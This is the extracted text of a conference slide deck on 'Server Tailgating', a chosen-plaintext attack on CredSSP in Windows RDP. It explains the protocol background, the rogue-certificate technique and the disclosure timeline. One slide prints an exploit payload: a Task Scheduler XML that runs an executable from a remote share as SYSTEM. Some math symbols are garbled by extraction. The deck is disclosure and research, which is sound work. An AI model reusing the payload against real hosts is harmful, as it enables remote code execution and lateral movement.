Server Tailgating – A ChosenPlaintext Attack on RDP- Eyal Karni- Yaron Zinar- Roman BlachmanSpeaker InfoEyal Karni• Security Researcher @ Preempt

Yaron Zinar• Lead Security Researcher @ Preempt

Roman Blachman• Co-founder and CTO @ Preempt

Previous Work• CVE 2017-8563 (LDAPS NTLM-Relay)• Microsoft Security Advisory 4056318

Agenda• Introduction• Technical Background• The Vulnerability• Demo• Port-Mortem

Introduction

What We Will Show
• A Logical (Cryptographic!) Vulnerability• High Impact• Affecting All Windows Versions• Making RDP (Remote Desktop) Vulnerable• Not fully patchedAttackers Move Laterally…

https://docs.microsoft.com/en-us/advanced-threat-analytics/ata-threats

Technical BackgroundKerberos• Developed by MIT• Default Authentication
since Windows 2000

https://docs.microsoft.com/en-us/previousversions/windows/it-pro/windows-server2003/cc772815(v=ws.10)

MSRPC – Microsoft Remote Procedure Call
• Used to expose remote interfaces to machines for callingfrom remote machines• Used in remote management scenarios• PSexec• WMI• No developer wants to dive into this (Everyone uses
RESTful stuff)

GSSAPI / SSPI
• SSPI is an API that allows application to add authenticity and privacy
almost transparently.
• Applicable to any application that allows “Windows Authentication”

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc772815(v=ws.10)

TLS (Transport Layer Security)• Used for traffic
encryption• De-facto standard forencryption• Web• VoIP•…

• Server identity verified
via certificate (RSA)

CredSSP• An MS protocol to facilitate
secure credential forwarding• Mutual authentication• CredSSP protocol flow
• Double encryption using
TLS/GSS-API• Uses a technique “ChannelBinding”
https://technet.microsoft.com/en-us/library/hh921957.aspx

RDP (Remote Desktop Protocol)•RDP Security• Full – NLA (Network Level Authentication) + TLS• TLS only
• No security•RDP restricted-admin• Usually in RDP we have network login + interactive login• RDP restricted admin includes only network login (single-signon)

RDP Flow• TLS is Established​• NLA is carried out using CredSSP ​• Certificate Validation• The user sends its password over CredSSP​• Session Established – now UI stuff

RDP – Certificate Validation
If Kerberos:• There will be not validation
If NTLM:• Certificate will be validated• CA server• Certificate pinningProtocols Recap

Kerberos

NTLM
CredSSP
TLS
RDP

Kerberos

NTLM
MSRPC

The Vulnerability

The Journey
Looking for NTLM flaws• Discover CVE-2017-8563• Tried enabling NTLM-Relay with MiTM only
• Found issue #1 – certificate check only after NLAThe Journey•Began researching CredSSP• Found issue #2

Do You See the Issue?

Idea
The public key is encrypted
and signed as if it were anapplication data.
Well, why could it be a valid
application data?

Vulnerability Flow Chart(RDP) Session Initiation(TLS) Rouge Certificate
Kerberos U2U Negotiation(CredSSP) GSS_WrapEx(Rouge Cert)(MSRPC) GSS_WrapEx(TaskSch)

Can we use any Public Key?
• The public key doesn't get verified• The public key should still be valid in the TLS
session• But it should be a valid as a RSA key.
• Is this possible?

RSA Quick Overview• A Public Key Encryption
Scheme• Public key – (N,e)• Private key – d• Safe assuming hardness ofprime factorization

https://www.tutorialspoint.com/cryptography/public_key_encryption.htm

RSA Quick Overview
𝑁 = 𝑝𝑞𝜑 𝑁 = 𝑝−1 𝑞−1e = 𝑑)* 𝑚𝑜𝑑 𝜑(𝑁)original message

Public exponent

Public modulus

0𝑚 = 𝑐 (𝑚𝑜𝑑 𝑁)
encrypted message

“Broken” RSA
𝑁=𝑝
𝜑 𝑁 = 𝑝−1
e = 𝑑 )* 𝑚𝑜𝑑 𝜑(𝑁)original message

Public exponent

Public modulus

0𝑚 = 𝑐 (𝑚𝑜𝑑 𝑁)
encrypted message

“Broken” RSA
𝑁=𝑝
𝜑 𝑁 = 𝑝−1
e = 𝑑 )* 𝑚𝑜𝑑 𝜑(𝑁)encrypted message

Public exponent

Public modulus0𝑐 = 𝑚 (𝑚𝑜𝑑 𝑁)
original message

Is it easy to find a prime?
• Prime Number Theorem:G(H)*𝑃(𝑔𝑒𝑡 𝑎 𝑝𝑟𝑖𝑚𝑒 𝑖𝑛 𝑟𝑎𝑛𝑑𝑜𝑚) ≈≈HIJH• We want to sign ~600 bytes of data

• Expected number of iteration to find a prime: ln(256788 ) ≈3327• Only need 2 bytes of freedom in the packet(𝑙𝑜𝑔>?7 ln(256788 ) ≈1.463)

Obstacle Passed

Requirement For Public Key• How is the X.509 certificate represented? ASN.1
Public Key Structure01234567…

0x30

0x82

0x010x0A

0x020x820x010x01…

Tag

LengthTag

Length
ASN.1 Field (N)ASN.1 SequenceN8+len(N)Tag

9+len(N)10+len(N)Length…

e

ASN.1 Field (e)Controlled
UncontrolledFinding A Suitable Protocol• Supports SSPI
• Encoding requirements• Application Data is Non-ASN.1• Specific 8-bytes Prefix which we have no control over
• Includes some degree of freedom• Able to do harm with a single signed packet• Available on wide variety of machines

MSRPC!
• Supports SPNEGO• Encoding requirements• Application Data is Non-ASN.1 It is actually MIDL
• Specific 8-bytes Prefix which we have no control over
• Includes some degree of freedom• Able to do harm with a single signed packet• Available on wide variety of machines

#1 Try – Exploiting NTLM

signature scope

encryption scope

#1 Try – Exploiting NTLM
• Supports SPNEGO• Encoding Requirements• Application data is non-ASN.1• Specific 8-bytes Prefix which we have nocontrol over
• Includes some degree of freedom• Signature scope (no header!)• Able to do harm with a single packet• Available on a wide variety of machines

Ability to do NTLM Relay
Much Stronger!

#2 Try – Exploiting Kerberos

signature scope
encryption scopeExploit Details• MIDL Requirements• First element is string• Apparently MSRPC ignores theend of the data (so it is chosen
as freedom)• We encode a Task Registrationcommand• For immediate execution• The payload is in a sharepath:
u'aa\x00'
xml:
u'<?xml version="1.0"?><Task
xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"><Triggers><RegistrationTrigger/></Trigg
ers><Actions><Exec><Command>\\\\IP\\share\\exe
cutable.exe</Command></Exec></Actions></Task>\x00'
flags:
6sddl:
NULL
logonType:3
cCreds:1
pCreds: [userId:u'S-1-5-18\x00'
password:
NULL
flags:
1, ]Success!

DemoPost Mortem

Should I care?
• 88.78% of desktops
running Windows OS• 95% of Fortune 500
use Active Directory• 60% of inspected
networks use RDP ona daily-basis

https://1reddrop.com/2017/02/04/windows-10-inching-alongjanuary-2017-shows-25-3-percent-desktop-os-marketshare/windows-10-market-share-of-desktop-operating-systems/Should I care?
• MiTM is a real threat:• CVE 2018-0101 (Cisco ASA)
• ARP Poisoning• KRACK• Easy escalation to domain admin• DC Traffic -> DC AdminAffected Systems• All Windows Versions• Affected protocols:• RDP (including restricted-admin)• WinRM• Important – proprietary RDP clients are also affectedPatch Details• NLA Before Certificate Validation (Issue #1)• Microsoft has not addressed this issue• Recommends using Remote Credential Guard• Malicious Certificate (Issue #2)• Protocol was modified so that the public key hash would besigned• Added protocol negotiation – needs to be enabled by GPO• https://aka.ms/credssp

Disclosure Timeline• 2017-08-20 – Initial disclosure to MSRC
• 2017-08-30 – MS repro attack and acknowledge issue• 2017-09-18 – MS requested an extension on 90 days SLA• 2018-03-12 – A patch is applied to CredSSP client/server MScode• 2018-04-17 – MS RDP client update to include warning (tentative)• 2018-05-08 – A 2nd patch will be applied to eradicate vulnerable
CredSSP (tentative)

Tools• We’re releasing the following tools:• A malicious cert creation tool
• A tool performing MiTM attack on RDPKey Takeaways• Patching is not enough• Never sign on untrusted data
• Defense-in-depth• Principle of least privilege• Network segmentation helps!
• Monitor accounts usage• Reduce spread of admin credentials

Questions